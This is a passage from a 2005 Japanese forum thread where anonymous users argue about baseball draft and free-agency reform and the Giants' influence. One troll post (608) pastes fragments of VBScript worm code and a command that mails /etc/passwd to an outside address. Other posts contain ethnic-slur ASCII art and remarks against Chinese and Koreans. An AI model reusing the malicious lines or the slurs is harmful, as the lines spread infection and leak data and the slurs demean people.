>>541
FAだと金が掛かってよほど良い選手じゃないととってもらえない。
去年の真中なんかがそう、楽天に行きたいって言ってとってもらえなくて
いまはヤクルトで干されてる。

544 :名無しさん@恐縮です:2005/04/27(水) 22:54:04 ID:1K8ICYzz
逆指名制度を廃止。
大卒社会人新人選手だけが自分の行きたい2.3球団に狙いを絞り、条件面の吊上げを助長する行為を不可能にする。

過去数年の一定成績をあげた選手に限り、大物選手、大物外人の加入等のチーム事情により出場する機会を喪失した場合、
特別に移籍する権利や、フリーエージェント期間の短縮を認める。(巨人清水など)

自分をマーケットに出してより高く売りつける行為が出来るのが、逆指名新人とフリーエージェント資格者だけだから。
この二者だけがごっそり大金を手に入れ、自分の思うように契約、移籍先、入団先を決められるの。

それで、うちはいつも弱くて、新人選手の獲得に苦労しているからウェーバー大賛成なんてアホなオリ近、楽天のいう事など無視w


545 :名無しさん@恐縮です:2005/04/27(水) 22:55:59 ID:uFW/L1u8
もうドラフト廃止・完全自由競争でいいじゃん。
金も積み放題。
どのタイミングでも自由に移籍可能(選手にその意志があれば)。


「新人を安く買って(入団させて)、育てて高値で他球団に売り飛ばす」ことで
収益をあげるような球団があってもいいんジャマイカ?

546 :名無しさん@恐縮です:2005/04/27(水) 23:08:07 ID:1K8ICYzz
最悪が逆指名制度を利用して自分の行きたい球団と、他のライバル球団を利用して天秤かけて契約金、条件面を吊上げた上で入りたかった球団に入団し、
即レギュラーで最短8年でFA資格して、権利行使するぞするぞと毎年脅して年俸吊上げて、最後はFA宣言残留して再契約金を貰い長期契約をする。
又は即レギュラーで最短8年でFA資格して「バイバイ」とMLBに行ってしまう。

このしわ寄せが他の選手にくるんだよな〜。

547 :名無しさん@恐縮です:2005/04/27(水) 23:10:44 ID:oqk86Rn+
>>543
今のFA制度は9年もたたないとダメだから、
年俸の高い選手しか動けない。
だから完全ウェーバー+FA短縮にする。
これがいいと思われ。

>>545
やるなら上に書いた案とどっちかだよな。


548 :名無しさん@恐縮です:2005/04/27(水) 23:16:01 ID:sjtegtfQ
ほとんどが黒字球団で選手獲得の競争のあるメジャーと
巨人とそれにぶらさがる球団だけがなんとか黒字の日本球界
同じように自由競争というのが間違ってる

メジャーはウェーバー制やら放映権料分配やら贅沢税やら
球団の経営均衡に力を入れて各球団が儲かる仕組みを作った
で、球団が黒字だから黒字幅を使ってより良い選手を獲得する競争が生まれてる

メジャーのように各球団の経営が黒字化して選手獲得に
競争が生まれるのなら自由獲得枠を入れても良いよ


549 :名無しさん@恐縮です:2005/04/27(水) 23:16:32 ID:dv8d6suZ
変な折衷案は良くないんだよな。
やるなら完全ウェーバー(1巡目は抽選でも)&FA短縮か、
一定の獲得期間を設けて(柳川事件の再発防止)完全自由獲得にするか。

貧乏球団・中堅都市でも維持できるように前者を取り入れるか、
後者を取り入れて球団数を減らして1リーグ制にして球団の価値を上げ、
完全に企業の宣伝広告媒体としてのプロ野球を目指すか。

個人的には3A化しようとも前者かな。

550 :名無しさん@恐縮です:2005/04/27(水) 23:18:06 ID:3qo4x5pM

この人権擁護的首輪つける。 小日本、我の言いなりネ。
 ̄ ̄ ̄ ̄ ̄ノノ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  ∧∧
 / 支\       ∧ ∧
 ( `ハ´)      <`∀´ > 分かったスミダ
 (|    ]⊃◇   (    )
  |    |   j   .| | |
  し−J _j    <_<_ )

 |支\
 |`ハ´) ジーッ
 と ノ
 |/     .∧ ∧   ソー・・・
 |     <; `∀´>
/     ノつ;  つ◇        <⌒/ヽ-、___
  ( (  (   ; ノ  j       ./<_/____/
      し \_フ`' ''

 Σ ∧ ∧   シッパル! バレタニダ!!
   <; `д´>
  ⊂ ◇と )          ∧ ∧
   く く\ \      Σ(・ω・´)
    <_> \_フ      _|⊃/(___
               /└-(____/

551 :名無しさん@恐縮です:2005/04/27(水) 23:20:30 ID:sjtegtfQ
まあ、最下位からのウェーバーだと
松阪や松井のような大物がいる年に
シーズン終盤の最下位争いの八百長しくまれそうだから
1〜2順目は前のような抽選制で3順目以降ウェーバーがいいな

552 :名無しさん@恐縮です:2005/04/27(水) 23:25:14 ID:dv8d6suZ
それにしてもソフトバンクは何考えてんだかね。

球界の悪弊を打ち破るには奇抜な発想が必要ではあるが、
全く見当違いの方向いてるからなあ。

553 :名無しさん@恐縮です:2005/04/27(水) 23:27:43 ID:a9P5aOZV
根回し、プレゼン力といったトップとしての至極当たり前の
スキルを持ってないことを露呈しただけだろ、このオッサン。

554 :名無しさん@恐縮です:2005/04/27(水) 23:30:22 ID:qgHQcaF6
>>532
最初から、負けは目指さない罠wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

ただ、最後の数試合で帳尻合わせができるなら、わざと負けることはありうるなwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

555 :名無しさん@恐縮です:2005/04/27(水) 23:31:18 ID:ybDH2bEf
思い通りにしたいなら巨人リーグ作れよ。

556 :名無しさん@恐縮です:2005/04/27(水) 23:32:42 ID:qgHQcaF6
>>543
球団にいらないと言われたら、入れないのは当然でしょwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

557 :名無しさん@恐縮です:2005/04/27(水) 23:33:01 ID:1K8ICYzz
>>551
最下位からのウェーバーだと
松阪や松井のような大物がいる年に、その選手側も甲子園でとろい球投げて大量失点したり、大スランプになって三振量産したり、怪我入院とか珍現象がいろいろ起こるだろな。
評判下げるために。

558 :名無しさん@恐縮です:2005/04/27(水) 23:41:21 ID:EDoyGatl
>>545
>もうドラフト廃止・完全自由競争でいいじゃん。
同意。それしかない。



559 :名無しさん@恐縮です:2005/04/27(水) 23:45:45 ID:a2MjZKOB
蔑称使う奴の意見なんて聞く価値なし!

560 :名無しさん@恐縮です:2005/04/27(水) 23:49:06 ID:6wjB9CeN
最下位のウェーバーってやってる選手としては
有力選手にポジション奪われたくないから手抜きたくないと思うんちゃう。
フロントやファンは負けたほうがええと思うかもしれんけど。
個人的には最下位になってもあの選手取れるからええわなんてのはおもろーないな。
最下位なんて屈辱と思えるほうがええ。

561 :名無しさん@恐縮です:2005/04/28(木) 00:05:27 ID:hZ9TCiKR
NBA方式のウエーバーが一番盛り上がるだろ

562 :名無しさん@恐縮です:2005/04/28(木) 00:06:49 ID:HtlBUw+l
次回ジブリ作品  

 「誰も相手にしてくれないの豚」

 視聴率取れない巨人は、ただの豚

563 :名無しさん@恐縮です:2005/04/28(木) 00:10:30 ID:6xSE2NrE
塵売をスポーツ界から追放しる!

564 :名無しさん@恐縮です:2005/04/28(木) 00:13:11 ID:pYELf38v
昔のやり方でいいじゃん

565 :名無しさん@恐縮です:2005/04/28(木) 00:14:30 ID:u171iAo2
いまさら巨人て…w

566 :名無しさん@恐縮です:2005/04/28(木) 00:16:43 ID:1PCmqmhH

読売は過去の裏金問題を明らかにしろよ。話はそれからだ

それに清武がドラフト改革を仕切ってるっておかしいだろ


567 :名無しさん@恐縮です:2005/04/28(木) 00:21:16 ID:Q8lzJDHL
確かに去年不正が発覚したばかりの球団が主導で
現在の制度を維持させようとしてる時点で説得力も糞もないよな

568 :名無しさん@恐縮です:2005/04/28(木) 00:22:32 ID:NOO377GE
恋愛もドラフト(完全ウェーバー制)を採用してほしー。

569 :名無しさん@恐縮です:2005/04/28(木) 00:23:19 ID:wDQcnnNF
>>568
やった。俺は選びたい放題。

570 :名無しさん@恐縮です:2005/04/28(木) 00:24:03 ID:Dg58j47t
なんでマスコミが球団持ってるんだろう?巨人肢体放題だな

571 :名無しさん@恐縮です:2005/04/28(木) 00:24:06 ID:ozhjbQwR
>>568
おまいさんが指名される側だったらどうよ?


572 :名無しさん@恐縮です:2005/04/28(木) 00:26:02 ID:wDQcnnNF
>>571
orz。。

573 :名無しさん@恐縮です:2005/04/28(木) 00:32:55 ID:H4J0SJEr
>ドラフト改革の質問を受けると「分かっていない人はまったく分かっていない。
>分かっている人は分かっているけど。議事録は長いので、
>帰って読んでくださいと言った」とまくし立てた。

ムチャクチャ阿呆な言葉だ

574 :名無しさん@恐縮です:2005/04/28(木) 00:48:48 ID:zewm1yY1
球界のジャイアンこと清武代表

575 :名無しさん@恐縮です:2005/04/28(木) 01:07:01 ID:OnIk+JLp
それよっか
セ・リーグにもDHを
って提案した方がエエんじゃねか?

576 :名無しさん@恐縮です:2005/04/28(木) 01:09:45 ID:EpeMV359
虚塵の意見は通らないくらいがちょうどいい

577 :名無しさん@恐縮です:2005/04/28(木) 01:20:09 ID:58QRH+gq
むしろ、DHはなくすべき。DHなんてスポーツって感じがしない。

578 :名無しさん@恐縮です:2005/04/28(木) 01:28:00 ID:QRO9JSRj
もう巨人至上主義なんて時代はとっくに終わってる事に、巨人のオーナー気付けよ。
時代遅れも甚だしいぞいい加減にしろ!!

579 :名無しさん@恐縮です:2005/04/28(木) 01:31:17 ID:Aa63mZFk
虚塵の肩を持つわけではないが、完全ウェーバーはダメ

580 :名無しさん@恐縮です:2005/04/28(木) 01:32:53 ID:co0IjGRW
愉快愉快

581 :名無しさん@恐縮です:2005/04/28(木) 01:36:30 ID:rm4EE6LI
>>579
WHY DO YOU THINK SO ?

582 :名無しさん@恐縮です:2005/04/28(木) 01:36:52 ID:Ymmq393I
在日枠を守りたい(守るように突き上げられる、それが怖い)球団が多いんだよ

583 :名無しさん@恐縮です:2005/04/28(木) 01:39:50 ID:QRO9JSRj
巨人さえなければ、球界は今よりももっと発展していただろう。
もう巨人の存在価値は0だ。
早く日本球界から消えてくれ。

584 :名無しさん@恐縮です:2005/04/28(木) 02:06:29 ID:0OXz3cI7
逆ウェーバーとかアホじゃないかと思う

585 :名無しさん@恐縮です:2005/04/28(木) 02:14:50 ID:p6rus5Q2
ドラフトやFAで人を取ってきても、育てる事も上手く使う事も出来ない球団なのに。
選手を育てられるフロント、監督、コーチを作る事が先だろ。

586 :名無しさん@恐縮です:2005/04/28(木) 02:17:16 ID:hhQWTB2h
>>584
批判するだけならアホできも出来る、対案を出せ。

587 :名無しさん@恐縮です:2005/04/28(木) 02:23:40 ID:0OXz3cI7
>>586
つ完全ウェーバー

588 :名無しさん@恐縮です:2005/04/28(木) 02:26:04 ID:iC7Vf5ks
>分かっていない人はまったく分かっていない
なんか密かな大ブームみたいだよなw

589 :名無しさん@恐縮です:2005/04/28(木) 02:26:28 ID:X0p/6Dbt
つ【不完全ウェーバー】

590 :名無しさん@恐縮です:2005/04/28(木) 02:26:37 ID:CXdJCqn/
つ東京Vユースに高木豊の息子

591 :名無しさん@恐縮です:2005/04/28(木) 02:27:37 ID:X0p/6Dbt
つ【おれ】

592 :名無しさん@恐縮です:2005/04/28(木) 02:31:02 ID:cBsBPCRE
あの江川⇔小林を合法化すればよろし。
完全ウェーバーで指名されたらとりあえずそこに入って
希望球団とトレード交渉を行う。
そこにフラれたらその選手の愛も冷めるだろうし。

593 :名無しさん@恐縮です:2005/04/28(木) 02:33:39 ID:X0p/6Dbt
これだけもめるんだったら、完全自由競争にしてみたらどうだろう。

594 :名無しさん@恐縮です:2005/04/28(木) 02:39:12 ID:CXdJCqn/
学校それ自体をドラフトしちゃえ

595 :名無しさん@恐縮です:2005/04/28(木) 02:39:26 ID:3cRwut56
( `_ゝ´)フォォー

596 :名無しさん@恐縮です:2005/04/28(木) 02:41:51 ID:CXdJCqn/
環境やチーム戦術など自分にあってるとこを自由に選べばよい



597 :名無しさん@恐縮です:2005/04/28(木) 02:50:38 ID:GZzodjTa
ウェーバー+ルーキートレードでいいんじゃないの?


598 :名無しさん@恐縮です:2005/04/28(木) 02:52:55 ID:Ph/t7dRu
(´・ω・`)ドラフトで楽天に選ばれちゃった・・・

こんな選手が今後出るのであろうか・・・

599 :名無しさん@恐縮です:2005/04/28(木) 03:01:21 ID:++XuCHle
巨人、ソフトバンクが反対
改革あぼーんでしょ

600 :名無しさん@恐縮です:2005/04/28(木) 03:04:19 ID:evCsdii8
ドラフト
1順目ウェーバー制
2順目自由
3順目自由
4順目ウェーバー制
って感じにしたらどうだ?

601 :名無しさん@恐縮です:2005/04/28(木) 03:07:37 ID:9rRq4I/3
来年はドラフトなしにして全員楽天へ・・

602 :名無しさん@恐縮です:2005/04/28(木) 03:21:30 ID:39gundn7
>>187
オカマww

603 :名無しさん@恐縮です:2005/04/28(木) 03:26:52 ID:++XuCHle
俺だったら、全チーム5割になるよう
サラリーキャップで戦力均等
セパ3チーム、合計6チームがプレイオフへ
ドラフトはプレイオフに出られなかった球団優先でくじびき

こうなると、広島や楽天も優勝にからめるから地元も盛り上がる
プロ野球も盛り上がる・・・・・・が巨人、阪神、ソフトバンクが反対するだろね


604 :名無しさん@恐縮です:2005/04/28(木) 04:00:22 ID:evCsdii8
つーか今明らかに戦力が弱いのは楽天とオリックスくらいじゃない?
飛びぬけてるのは阪神とソフトバンクかな。
でもロッテや中日が地道に強化してきたんだから
他の球団もじっくり計画性をたててやれば大丈夫そうな気がするんだけどね

605 :名無しさん@恐縮です:2005/04/28(木) 04:08:11 ID:HOC87dFR
今の巨人はドラフト制度撤廃されても弱いと思う

606 :名無しさん@恐縮です:2005/04/28(木) 04:09:47 ID:++XuCHle
日本のプロ野球よりメジャーリーグのスケジュールが良くできている点

http://www.geocities.jp/bibun_houteishiki/nabe/MLBschedule.html

607 :名無しさん@恐縮です:2005/04/28(木) 04:14:04 ID:hoKpY/p+
こーなったらプロレスみたいにいろんな役割を
各球団に与えてはどうだろうか?
悪役ばっかそろえた球団とか
選手全員マスクマンの球団とか








ごめん書いてる途中で自分が情けなくなったorz

608 :名無しさん@恐縮です:2005/04/28(木) 04:22:06 ID:7nY3liYu
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))


609 :名無しさん@恐縮です:2005/04/28(木) 04:34:03 ID:tI1b6aqJ
>>608
もう低脳なことはこれっきりにしような

610 :名無しさん@恐縮です:2005/04/28(木) 05:43:39 ID:NjtF3X+B
GWだねー。

611 :名無しさん@恐縮です:2005/04/28(木) 06:32:37 ID:3kz+H0GH
戦力均衡なら完全ウエーバー制がいいが、視聴者から見れば昔の抽選方式が
面白いのだが。どちらも一長一短あるのでなんともいえない。

612 :名無しさん@恐縮です:2005/04/28(木) 06:38:32 ID:qZYPogP7
巨人は自分に有利なことしか言わないからなあ
そのうちウェーバー制を主張しだすよ

613 :名無しさん@恐縮です:2005/04/28(木) 06:40:02 ID:f/TMJdlP
選手本人に抽選させれば面白い。
自分で引いたのだから文句言えんだろうし。

614 :名無しさん@恐縮です:2005/04/28(木) 06:44:49 ID:ZHOjD5Rq
いい傾向だと思う

615 :名無しさん@恐縮です:2005/04/28(木) 06:46:24 ID:ZHOjD5Rq
お前らは青木さやか以下なんですよってことを納得させてやりたい
怒りでプルプルするところを見てみたい

616 :名無しさん@恐縮です:2005/04/28(木) 07:09:23 ID:lWp5IbpH
巨人には選手の能力をみる目がない
ドラフト制度より球団内部の体質を改革する方が先だろ
経営陣の脳味噌が旧態化してるからねえ

617 :名無しさん@恐縮です:2005/04/28(木) 07:13:47 ID:l5RREGdm
小泉に圧力をかけ、法律を改正して巨人の意見は全て通すようにしよう。

618 :名無しさん@恐縮です:2005/04/28(木) 07:17:26 ID:zAZBFsUk

参考にすべきはMLBではなくNFLのシステムなんじゃねーの?
NFLがどんなシステムかしらんけど、うまくいっているのは間違いない。
アメリカでスポーツと言えば、野球ではなくアメフトです。

619 :名無しさん@恐縮です:2005/04/28(木) 09:19:56 ID:gWpWAH3J

ドラフト云々より、読売が球界にいて勝手に制度を作って仕切っていることが問題だろ
スポーツって言うのは平等で戦うのが基本なんだから
叩くのは読売を叩け。もう読売がいる限りプロ野球の人気回復はないよ


620 :名無しさん@恐縮です:2005/04/28(木) 09:22:18 ID:Cusm8E9n
野球オタクキモイ

621 :名無しさん@恐縮です:2005/04/28(木) 10:09:16 ID:omx8qFhd
>>619
>>スポーツって言うのは平等で戦うのが基本
そんな基本があるのか?
つーかそれじゃあツマラン
選手全員が外人で悪役のチームやジャニーズばりのイケメン集団チームや美少女チームとかも欲しい
平等とか見てて楽しいか?
ヒョードルが強いからって桜庭と闘うときは両手を縛って試合とかさせて見てて楽しいか?
ミルコが武蔵と闘うならキックとパンチ禁止とか・・・
確かに平等だろうが激しくつまらなさそうだ

622 :名無しさん@恐縮です:2005/04/28(木) 10:15:42 ID:Eff++R6D
ドラフトなんてものは撤廃してしまえばいい。

623 :名無しさん@恐縮です:2005/04/28(木) 10:57:04 ID:JGTdvaAk
>>621
池沼???
手を縛る、パンチ禁止・・・
普通の格闘技は階級制限で平等性が保たれているよ

624 :名無しさん@恐縮です:2005/04/28(木) 10:59:59 ID:FW94RFqF
>621は日本のプロ野球を見過ぎて病んじゃったやつだな

625 :名無しさん@恐縮です:2005/04/28(木) 11:11:29 ID:LhazUkjk
Jリーグがマスコミを排除して成功したんだから
プロ野球もマスコミが球団をもつことを禁止すればいい
もちろん自社でweb放送できるようなところもマスコミに準じる

626 :名無しさん@恐縮です:2005/04/28(木) 11:13:51 ID:0B89d6+w
ドラフトなぞいらん。
完全自由競争にしろ。
金の切れ目が縁の切れ目。


627 :名無しさん@恐縮です:2005/04/28(木) 11:16:54 ID:FW94RFqF
アホか

628 :名無しさん@恐縮です:2005/04/28(木) 11:28:42 ID:mdSh6pqp
脱巨人

629 :名無しさん@恐縮です:2005/04/28(木) 11:38:38 ID:whe3jP69
>>625
その素晴らしい日本サッカー協会の組織図

日本サッカー協会キャプテン(会長) 川淵三郎(かわぶち さぶろう)
生年月日:1936年12月3日 就任年月:2002年7月

→早稲田大学在学中から日本代表として活躍。ローマ・オリンピック予選、FIFAワールドカップ・チリ大会予選、東京・オリンピックなどに出場した。1980年には日本代表監督を務め、1988年Jリーグの前身である日本サッカーリーグ総務主事、
JFA理事に就任。1991年より(社)日本プロサッカーリーグ理事長(チェアマン)、これと並行して1994年から、JFA副会長を務めた。

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日本サッカー協会副会長/FIFA理事 小倉純二(おぐら じゅんじ)
生年月日:1938年8月14日 就任年月:1998年7月

→早稲田大学を卒業後、古河電気工業(株)サッカー部(現ジェフユナイテッド千葉)部長に就任。1990年には、JFA特任理事として国際委員会委員長を務めた。
1991年に同協会の理事、1992年に専務理事に就任した。これと並行して(社)日本プロサッカーリーグ理事、1994年よりAFC(アジアサッカー連盟)理事も務める。2002FIFAワールドカップTMでは、トーナメントディレクターを務めた。 2002年8月FIFA理事に就任。

 
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副会長 野村尊敬(のむら そんきょう)
生年月日:1941年9月22日 就任年月:2002年7月

広島大学附属高校、→早稲田大学時代はプレーヤーとして活躍。高校選手権大会、国体でともに準優勝をとげ、早大時代には天皇杯で優勝した。卒業後はチチヤス乳業(株)に入社。専務取締役、副社長を経て1996年社長に就任し、現在にいたる。
 
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副会長 釜本邦茂(かまもと くにしげ)
生年月日:1944年4月15日 就任年月:2004年6月

京都山城高校、→早稲田大学を経て、ヤンマー


630 :名無しさん@恐縮です:2005/04/28(木) 11:40:15 ID:whe3jP69
日本サッカー協会 常務理事
田嶋幸三
古河電工に入社。

日本サッカー協会 常務理事
鬼武 健二(おにたけ けんじ)
生年月日:1939年9月19日
→早稲田大学卒  ヤンマーディーゼル株式会社 入社

おい、この糞組織には早稲田出身か川淵の弟子(古川、川淵が代表監督の時の選手)しかいねーのか

631 :名無しさん@恐縮です:2005/04/28(木) 11:43:40 ID:JGTdvaAk
サッカーは経験者がやってる分
天下りの野球とは無縁の人間がやるよりはマシじゃね?

632 :名無しさん@恐縮です:2005/04/28(木) 11:45:12 ID:aPYv0mdL
完全自由獲得でFA廃止にしたらいいんじゃない?

どーせ巨人に入っても試合に出れないんだし巨人に
集まることは無いと思われ。

完全ウェバーFA短縮なんてしたら巨人のヤリタイ放題
になるんじゃないの?

633 :名無しさん@恐縮です:2005/04/28(木) 11:45:30 ID:JKdOiE1a
永久に不滅だった人が
あれじゃあな〜。。。

634 :名無しさん@恐縮です:2005/04/28(木) 11:45:47 ID:0jMdCcZD
ドラフト廃止、完全自由競争。契約金の上限撤廃。
FA廃止。

635 :名無しさん@恐縮です:2005/04/28(木) 11:48:55 ID:OnPK3N3n
>>632
今の時代はメジャーに流れると思われ
それに30歳くらいの中心選手が巨人に集まってもまた20-24歳くらいの若手が出てくるよ。


636 :名無しさん@恐縮です:2005/04/28(木) 11:49:41 ID:JGTdvaAk
>>632
>>634
その場合
イチロー、松井、松坂、クラスが引退するまで広島で2億とかでプレーするの???
球団の権利が強すぎるんじゃね?

637 :名無しさん@恐縮です:2005/04/28(木) 11:50:02 ID:uhGTXzkX
読売は読売自身の為にもプロ野球から撤退した方が良いと思う。

638 :名無しさん@恐縮です:2005/04/28(木) 11:51:06 ID:Q8lzJDHL
入るとき自由意志だからその後一切移籍の自由がないというのは
無理だろうなあ。サッカーも契約切れたら移籍金次第で移籍はできるし

639 :名無しさん@恐縮です:2005/04/28(木) 11:53:45 ID:OnPK3N3n
FAも移籍金制度にすればよろし。
5年FA:国内のみ、移籍金は前年年俸の6倍
6年FA:国内のみ、移籍金は前年年俸の4倍
7年FA:国内のみ、移籍金は前年年俸の2倍
8年FA:国内のみ、移籍金は前年年俸の1.5倍
9年FA:国内外、移籍金は無し

640 :名無しさん@恐縮です:2005/04/28(木) 11:53:59 ID:9AmooQGR
>>635
でも、メジャーでしっかりやれるのは、ほんの一握り。
日本より年俸は下がるし、マジメに頑張らないといけない世界だから。
楽に儲かるのが好きな選手もいるよ。ささ・・。

641 :名無しさん@恐縮です:2005/04/28(木) 11:54:28 ID:2TiOa+au
相変わらず巨人はお山の大将気取りか・・・
肝心のお山がドンドン低くなってるのに・・・

642 :名無しさん@恐縮です:2005/04/28(木) 11:54:52 ID:7v1plm5J
>>629
漏れはマジブルー。サッカーは酷い。 (´・ω・`)ショボーン

643 :名無しさん@恐縮です:2005/04/28(木) 11:55:30 ID:omx8qFhd
>>636
広島だとイチロー、松井秀、松坂クラスでも1億程度で抑えられると思う
山本浩二や北別府、川口、大野あたりの待遇をみているとカワイソウ過ぎる

644 :名無しさん@恐縮です:2005/04/28(木) 11:55:44 ID:18O+maxB
>>632
完全ウェーバーでFA短縮をやると、選手の入れ替えのサイクルが速くなる。
弱小球団はウェーバー制度を武器に有望な若手選手を獲り、
FA取得まで実働5年間なるべく安い給料で働いてもらう。
金満球団はFAでそういう選手を獲り、戦力を維持する。この繰り返し。

だから今までのようにずっと同じ球団で活躍する選手は減る。
それがいいことか悪いことかは難しいところだが、
そういう形にファンも慣れることが重要だと思う。

645 :名無しさん@恐縮です:2005/04/28(木) 11:56:29 ID:7v1plm5J
>>639
そういう細かい仕組みが今後必要。
今までが大雑把すぎ。

646 :名無しさん@恐縮です:2005/04/28(木) 12:01:52 ID:ysVpVEAx
>>642
出身は問題じゃない。
実力のほうだ大事なのは。

647 :名無しさん@恐縮です:2005/04/28(木) 12:04:17 ID:JGTdvaAk
サラリーキャップとFA短縮でいいんじゃね
ついでに完全ウェーバー、3地区、ワイルドカード、プレーオフ制
これで完璧だと思う

648 :名無しさん@恐縮です:2005/04/28(木) 12:06:22 ID:gexCDz4B
>>647
各球団が収支を公表してないしする気もないなかでサラリーキャップなんて無理。

649 :名無しさん@恐縮です:2005/04/28(木) 12:08:50 ID:smCft2q6
>>647
こういう「メジャーの真似しとけば何とかなるだろ」みたいな意見が一番イタイ

650 :名無しさん@恐縮です:2005/04/28(木) 12:09:08 ID:18O+maxB
>>629-630
NPBは読売からの出向社員と天下り傀儡コミッショナーですが。

てかNPBは組織図さえ公開してない。
公式サイトに「憲法」である協約すら載せてない。

651 :名無しさん@恐縮です:2005/04/28(木) 12:09:14 ID:lmX43QRy
むしろ、うちで経験積んで、メジャーへ行こうって宣伝した方が、
入団希望者殺到すんじゃね?
英語の勉強とかさせてさ。


652 :名無しさん@恐縮です:2005/04/28(木) 12:09:53 ID:VPSbsFqN
焼豚哀れwwwwwwwwwww

哀れ焼豚wwwwwwwwwwwwww

653 :名無しさん@恐縮です:2005/04/28(木) 12:10:48 ID:Q8lzJDHL
メジャーはサラリーキャップは無いけどな

654 :名無しさん@恐縮です:2005/04/28(木) 12:13:42 ID:0/3NGkdJ
>>621 ヒョードルもミルコも金で勝とうと思っていない。
   巨人は金で勝とうと思ってる。
   桜庭がヒョードルに金つかってハンディ貰うなら
   そんな試合は見たくない。巨人はこの方法使ってる。

655 :名無しさん@恐縮です:2005/04/28(木) 12:13:54 ID:l5MWiND/
70人の保有枠のうち、毎年40人をプロテクト。
外れたものは、移籍金で自由に移籍出来るようにすればいい。
新人は自動的にプロテクト。


656 :名無しさん@恐縮です:2005/04/28(木) 12:14:37 ID:hPJa2s+V
>>629-630
サカ豚撃退用に今後コピペに使わせてもらうよw

657 :名無しさん@恐縮です:2005/04/28(木) 12:19:01 ID:9AmooQGR
>>654
まあ、わからんこともないが、
ファイトマネー(参加最低保証)については、うるさいでしょ。

658 :名無しさん@恐縮です:2005/04/28(木) 12:21:23 ID:18O+maxB
>>655
MLBでやってるルール5ドラフトみたいな
マイナードラフトを導入すべきだと思うんだけどね。
移籍を活発化させることで競争力を高め、選手を淘汰させる。
プロテクト30人+FA行使選手+ドラフト入団後3年以内の選手
以外はウェーバー方式でマイナードラフトにかける。

現状でも自由契約選手は合同テストを経たりして似たような形を採るけど、
しっかり制度化してスケジュールに組み込むことでイベント化させる。
そこでもドロップアウトした選手は独立リーグとかのトライアウトに行く、
みたいな流れが出来るといいのでは。

659 :名無しさん@恐縮です:2005/04/28(木) 12:22:32 ID:AzcudWO8
このスレは「戦力均衡させればプロ野球人気が復活する」という幻想を中心に成り立っているんだね。

660 :名無しさん@恐縮です:2005/04/28(木) 12:24:03 ID:18O+maxB
>>659
1つの手段。もちろん他のほとんどの部分は要改善。

661 :名無しさん@恐縮です:2005/04/28(木) 12:29:45 ID:r/Un+xbg
>>650
天下り傀儡コミッショナーは、名誉職で任期制で独裁暴走しないの。
自分の手下集めて組織を乗っ取ったり居座り続けたりしないの。
スレ違いだからレスはいらんから。

662 :きいくん:2005/04/28(木) 12:36:37 ID:lwdzqDZk
で 巨人は得するのか? おめぇらは 損するのか? 

663 :名無しさん@恐縮です:2005/04/28(木) 12:39:25 ID:3OTZV6Ot
<歴代500本塁打記録保持者>

王貞治  三冠王2回・MVP9回・首位打者5回・本塁打王15回・打点王13回
野村克也 三冠王1回・MVP5回・首位打者1回・本塁打王9回・打点王7回
張本勲  MVP1回・首位打者7回・最高出塁率9回
門田博光 MVP1回・本塁打王3回・打点王2回
衣笠祥雄 MVP1回・打点王1回・盗塁王1回
山本浩二 MVP2回・首位打者1回・本塁打王4回・打点王3回
落合博満 三冠王3回・MVP2回・首位打者5回・本塁打王5回・打点王5回



清原和博 無冠

664 :名無しさん@恐縮です:2005/04/28(木) 12:40:27 ID:MnpCbQDU
プロ野球はどう足掻いても今以上に発展することはありえないだろうから、今からでも徐々に縮小化していくべきだと思うがな〜
まず年俸と契約金の削減を目指し、セカンドキャリアをサポートする体制を整えるべき

「契約金は選手の退職金がわり」って言う人もいるが、プロとして成功すれば退職金なんか必要なくなる
たとえ成功できずに現役を終える結果になっても、第二の人生をスムーズに送れるようになったら本当の退職金を得られる

665 :名無しさん@恐縮です:2005/04/28(木) 12:42:57 ID:HOC87dFR
川淵はサッカーのサポーターから既に独裁者とののしられておりますんで。

>>661 川淵まで行くとちょっとやばいが、
コミッショナーはもうちょっと権限あったほうがいいな

666 :名無しさん@恐縮です:2005/04/28(木) 12:43:33 ID:JGTdvaAk
>>648
>>649
今の体制にすがって沈むよりマシ
アレを全て書いた意図が理解できない能なしは黙ってろ

667 :名無しさん@恐縮です:2005/04/28(木) 12:51:32 ID:m24d49tc
>>666
何の具体策も書かずに、誰もが知ってるメジャーの受け売りを垂れ流しただけの能無しが何言ってんだか…

668 :名無しさん@恐縮です:2005/04/28(木) 12:52:24 ID:GpCb+jkW
セもプレーオフ導入してだな、3位までは優勝のチャンスありにする
という前提の元に1巡目は4位以下の6球団が優先指名、競合の場合はくじ引き
2巡目は3位以上の優先指名、競合の場合はくじ引き
3,4巡目も同様におこない、各2名ずつ指名が決まる
それ以降は完全ウェーバーで下位球団から指名

これならわざと負けてBクラスに入ろうなんてこすっからい真似はしなくなると
思うんだけどねぇ……

669 :名無しさん@恐縮です:2005/04/28(木) 12:52:29 ID:JGTdvaAk
>>667
一つじゃ無意味、全てやる事に意味があるんだよ
これでも理解できないのか??

670 :名無しさん@恐縮です:2005/04/28(木) 12:54:32 ID:6g+4DxNE
たまにいるな
「メジャーの猿真似すれば万事OK」って輩が

